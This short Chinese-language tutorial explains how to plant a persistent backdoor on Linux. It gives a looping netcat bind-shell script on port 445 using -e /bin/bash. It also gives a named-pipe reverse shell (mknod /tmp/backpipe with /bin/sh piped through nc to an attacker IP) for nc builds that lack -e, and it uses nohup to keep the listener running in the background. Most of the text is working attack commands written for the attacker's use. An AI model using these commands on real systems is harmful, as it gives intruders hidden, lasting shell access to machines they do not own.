在Linux下创建后门方式一
默认情况下 GNU netcat 不支持持续性监听操作。每一次Accept并执行完命令之后,netcat就会断开连接。如果需要让 netcat 保持持续性监听状态,就必须使用循环语句不断的开启新的监听模式。
listener.sh 监听脚本
#!/bin/bash
while [ 1 ]; do
echo -n | netcat -l -v -p 445 -e /bin/bash
done
在Linux的大部分发行版中都默认编译了nc,
但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项
(没有define一个GAPING_SECURITY_HOLE常量),
也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制,但这种情况下是不是就没办法利用了呢?天无绝人之路,来看下面的TIP。
在Attack这边依然用nc -lnvp listenport监听某端口,在目标环境中依次执行以下命令:
root@bt:~#mknod /tmp/backpipe p
root@bt:~#/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe
网上查了下mknod命令,说是只能root用户才有权限执行,可是经过测试普通权限的用户也可以创建管道等特殊文件,如果没有权限使用mkfifo /tmp/backpipe也可以创建一个管道。
创建持续性的Netcat后门
保持程序后台运行的正确方法
nohup 命令 &
eg:
后台执行监听脚本: nohup ./listener.sh &